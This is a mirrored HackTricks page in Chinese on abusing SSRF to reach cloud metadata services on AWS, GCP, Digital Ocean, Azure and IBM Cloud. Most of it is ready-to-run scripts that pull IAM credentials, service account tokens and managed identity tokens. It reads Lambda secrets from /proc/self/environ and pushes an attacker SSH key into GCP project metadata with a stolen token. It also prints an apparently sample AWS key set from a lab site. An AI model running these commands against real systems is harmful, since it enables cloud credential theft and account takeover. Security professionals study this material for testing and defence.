mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 02:20:20 +00:00
561 lines
27 KiB
Markdown
561 lines
27 KiB
Markdown
# 云端SSRF
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
**Try Hard Security Group**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
## AWS
|
||
|
||
### 在AWS EC2环境中滥用SSRF
|
||
|
||
**元数据**端点可以从任何EC2机器内部访问,并提供有关其的有趣信息。它可以在以下URL中访问:`http://169.254.169.254`([有关元数据的信息在此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||
|
||
元数据端点有**2个版本**。第一个版本允许通过**GET**请求访问端点(因此任何**SSRF都可以利用它**)。对于**版本2**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**,然后使用该令牌来通过另一个HTTP头访问元数据(因此使用SSRF**更加复杂**)。
|
||
|
||
{% hint style="danger" %}
|
||
请注意,如果EC2实例正在强制执行IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT请求的响应**将具有**1个跳数限制**,这将使得无法从EC2实例内部的容器中访问EC2元数据。
|
||
|
||
此外,**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
|
||
{% endhint %}
|
||
|
||
您可以在文档中找到有关[元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中,从中获取了一些有趣的信息:
|
||
```bash
|
||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||
URL="http://169.254.169.254/latest/meta-data"
|
||
|
||
aws_req=""
|
||
if [ "$(command -v curl)" ]; then
|
||
aws_req="curl -s -f -H '$HEADER'"
|
||
elif [ "$(command -v wget)" ]; then
|
||
aws_req="wget -q -O - -H '$HEADER'"
|
||
else
|
||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||
fi
|
||
|
||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||
|
||
echo ""
|
||
echo "Account Info"
|
||
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
||
|
||
echo ""
|
||
echo "Network Info"
|
||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||
echo "Mac: $mac"
|
||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "IAM Role"
|
||
eval $aws_req "$URL/iam/info"
|
||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||
echo "Role: $role"
|
||
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "User Data"
|
||
# Search hardcoded credentials
|
||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||
|
||
echo ""
|
||
echo "EC2 Security Credentials"
|
||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||
```
|
||
作为公开可用的IAM凭证暴露示例,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||
|
||
您还可以在以下位置检查公开的EC2安全凭证:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||
|
||
然后,您可以使用AWS CLI使用这些凭证。这将允许您执行该角色具有权限执行的任何操作。
|
||
|
||
要利用新凭证,您需要创建一个类似这样的新AWS配置文件:
|
||
```
|
||
[profilename]
|
||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||
```
|
||
注意**aws\_session\_token**,这对配置文件的工作至关重要。
|
||
|
||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用,以查找您的权限并尝试提升权限
|
||
|
||
### AWS ECS(容器服务)凭据中的SSRF
|
||
|
||
**ECS**是一组逻辑EC2实例,您可以在其中运行应用程序,而无需扩展自己的集群管理基础设施,因为ECS会为您管理。如果您成功地妥协了在**ECS**中运行的服务,则**元数据端点会发生变化**。
|
||
|
||
如果您访问_**http://169.254.170.2/v2/credentials/\<GUID>**_,您将找到ECS机器的凭据。但首先,您需要**找到\<GUID>**。要找到\<GUID>,您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
|
||
您可以利用**路径遍历**来读取它,访问`file:///proc/self/environ`\
|
||
上述的http地址应该提供给您**AccessKey、SecretKey和token**。
|
||
```bash
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||
```
|
||
{% hint style="info" %}
|
||
请注意,在**某些情况下**,您可以从容器中访问**EC2元数据实例**(请检查之前提到的IMDSv2 TTL限制)。在这些情况下,您可以从容器中访问容器IAM角色和EC2 IAM角色。
|
||
{% endhint %}
|
||
|
||
### 用于AWS Lambda的SSRF <a href="#id-6f97" id="id-6f97"></a>
|
||
|
||
在这种情况下,**凭据存储在环境变量**中。因此,要访问它们,您需要访问类似于**`file:///proc/self/environ`**的内容。
|
||
|
||
**有趣的环境变量的名称**包括:
|
||
|
||
- `AWS_SESSION_TOKEN`
|
||
- `AWS_SECRET_ACCESS_KEY`
|
||
- `AWS_ACCES_KEY_ID`
|
||
|
||
此外,除了IAM凭据,Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并且可能包含**敏感信息**(例如**stageVariables**中的信息)。与IAM凭据不同,此数据可通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
|
||
|
||
{% hint style="warning" %}
|
||
请注意,**Lambda凭据**位于**环境变量**中。因此,如果Lambda代码的**堆栈跟踪**打印环境变量,可能会通过在应用程序中**引发错误**来**外泄**它们。
|
||
{% endhint %}
|
||
|
||
### 用于AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||
|
||
我们从API中检索`accountId`和`region`。
|
||
```
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
我们随后从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。
|
||
```
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||
|
||
然后我们使用这些凭据执行 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。
|
||
|
||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||
|
||
您可以在[**此处找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||
|
||
### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
|
||
|
||
需要使用 HTTP 头部 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
|
||
|
||
* http://169.254.169.254
|
||
* http://metadata.google.internal
|
||
* http://metadata
|
||
|
||
用于提取信息的有趣端点:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
# Project attributes
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||
|
||
# /oslogin
|
||
# users
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
||
# groups
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
||
# security-keys
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
||
# authorize
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
||
|
||
# /instance
|
||
# Description
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||
# Hostname
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Image
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||
# Machine Type
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||
# Name
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||
# Tags
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# User data
|
||
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
||
# Network Interfaces
|
||
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
||
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||
echo " ============== "
|
||
done
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
# K8s Attributtes
|
||
## Cluster location
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
||
## Cluster name
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
||
## Os-login enabled
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
||
## Kube-env
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
||
## Kube-labels
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
||
## Kubeconfig
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
||
|
||
# All custom project attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
|
||
# All custom project attributes instance attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
```
|
||
Beta目前不需要标题(感谢Mathias Karlsson @avlidienbrunn)
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||
```
|
||
{% hint style="danger" %}
|
||
为了使用**外泄的服务账户令牌**,你可以执行以下操作:
|
||
```bash
|
||
# Via env vars
|
||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||
gcloud projects list
|
||
|
||
# Via setup
|
||
echo "<token>" > /some/path/to/token
|
||
gcloud config set auth/access_token_file /some/path/to/token
|
||
gcloud projects list
|
||
gcloud config unset auth/access_token_file
|
||
```
|
||
{% endhint %}
|
||
|
||
### 添加一个SSH密钥 <a href="#id-3e24" id="id-3e24"></a>
|
||
|
||
提取令牌
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||
```
|
||
检查令牌的范围(使用先前的输出或运行以下内容)
|
||
```bash
|
||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||
"issued_to": "101302079XXXXX",
|
||
"audience": "10130207XXXXX",
|
||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||
"expires_in": 2443,
|
||
"access_type": "offline"
|
||
}
|
||
```
|
||
现在推送SSH密钥。
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||
-H "Content-Type: application/json"
|
||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||
```
|
||
{% endcode %}
|
||
|
||
### 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
|
||
|
||
元数据端点的工作方式与虚拟机中的相同,但没有一些端点:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
|
||
# /instance
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# Auto MTLS config
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
```
|
||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||
|
||
{% hint style="warning" %}
|
||
Digital Ocean没有像AWS Roles或GCP service account这样的东西,所以不要期望找到元数据机器凭证。
|
||
{% endhint %}
|
||
|
||
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到。
|
||
```
|
||
curl http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1.json
|
||
http://169.254.169.254/metadata/v1/
|
||
http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1/user-data
|
||
http://169.254.169.254/metadata/v1/hostname
|
||
http://169.254.169.254/metadata/v1/region
|
||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||
curl http://169.254.169.254/metadata/v1.json | jq
|
||
```
|
||
## Azure <a href="#cea8" id="cea8"></a>
|
||
|
||
### Azure虚拟机
|
||
|
||
[**此处的文档**](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
|
||
|
||
- **必须**包含头部 `Metadata: true`
|
||
- 不得包含 `X-Forwarded-For` 头部
|
||
|
||
{% tabs %}
|
||
{% tab title="Bash" %}
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
HEADER="Metadata:true"
|
||
URL="http://169.254.169.254/metadata"
|
||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||
|
||
echo "Instance details"
|
||
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
||
|
||
echo "Load Balancer details"
|
||
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
||
|
||
echo "Management Token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
||
|
||
echo "Graph token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
||
|
||
echo "Vault token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
||
|
||
echo "Storage token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
||
```
|
||
{% endcode %}
|
||
{% endtab %}
|
||
|
||
{% tab title="PS" %}
|
||
```bash
|
||
# Powershell
|
||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||
## User data
|
||
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||
|
||
# Paths
|
||
/metadata/instance?api-version=2017-04-02
|
||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||
```
|
||
### Azure App Service
|
||
|
||
从 **env** 中,您可以获取 `IDENTITY_HEADER` 和 `IDENTITY_ENDPOINT` 的值。您可以使用这些值来获取一个令牌,以便与元数据服务器通信。
|
||
|
||
大多数情况下,您希望获取以下资源之一的令牌:
|
||
|
||
* [https://storage.azure.com](https://storage.azure.com/)
|
||
* [https://vault.azure.net](https://vault.azure.net/)
|
||
* [https://graph.microsoft.com](https://graph.microsoft.com/)
|
||
* [https://management.azure.com](https://management.azure.com/)
|
||
```bash
|
||
# Check for those env vars to know if you are in an Azure app
|
||
echo $IDENTITY_HEADER
|
||
echo $IDENTITY_ENDPOINT
|
||
|
||
# You should also be able to find the folder:
|
||
ls /opt/microsoft
|
||
#and the file
|
||
ls /opt/microsoft/msodbcsql17
|
||
|
||
# Get management token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||
# Get graph token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||
|
||
# API
|
||
# Get Subscriptions
|
||
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
# Get current permission on resources in the subscription
|
||
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
# Get permissions in a VM
|
||
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
```
|
||
|
||
```powershell
|
||
# API request in powershell to management endpoint
|
||
$Token = 'eyJ0eX..'
|
||
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||
$RequestParams = @{
|
||
Method = 'GET'
|
||
Uri = $URI
|
||
Headers = @{
|
||
'Authorization' = "Bearer $Token"
|
||
}
|
||
}
|
||
(Invoke-RestMethod @RequestParams).value
|
||
|
||
# API request to graph endpoint (get enterprise applications)
|
||
$Token = 'eyJ0eX..'
|
||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||
$RequestParams = @{
|
||
Method = 'GET'
|
||
Uri = $URI
|
||
Headers = @{
|
||
'Authorization' = "Bearer $Token"
|
||
}
|
||
}
|
||
(Invoke-RestMethod @RequestParams).value
|
||
|
||
# Using AzureAD Powershell module witho both management and graph tokens
|
||
$token = 'eyJ0e..'
|
||
$graphaccesstoken = 'eyJ0eX..'
|
||
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
|
||
|
||
# Try to get current perms over resources
|
||
Get-AzResource
|
||
## The following error means that the user doesn't have permissions over any resource
|
||
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
|
||
At line:1 char:1
|
||
+ Get-AzResource
|
||
+ ~~~~~~~~~~~~~~
|
||
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
|
||
+ FullyQualifiedErrorId :
|
||
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
|
||
```
|
||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||
|
||
{% hint style="warning" %}
|
||
请注意,在 IBM 云中,默认情况下未启用元数据,因此即使您在 IBM 云虚拟机内部,也可能无法访问元数据。
|
||
{% endhint %}
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||
-H "Metadata-Flavor: ibm"\
|
||
-H "Accept: application/json"\
|
||
-d '{
|
||
"expires_in": 3600
|
||
}' | jq -r '(.access_token)'`
|
||
|
||
# Get instance details
|
||
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys info
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys fingerprints & user data
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
||
|
||
# Get placement groups
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
||
|
||
# Get IAM credentials
|
||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||
```
|
||
{% endcode %}
|
||
|
||
以下是各个平台元数据服务的文档,突出了可以访问实例配置和运行时信息的方法。每个平台都提供了独特的端点来访问其元数据服务。
|
||
|
||
## Packetcloud
|
||
|
||
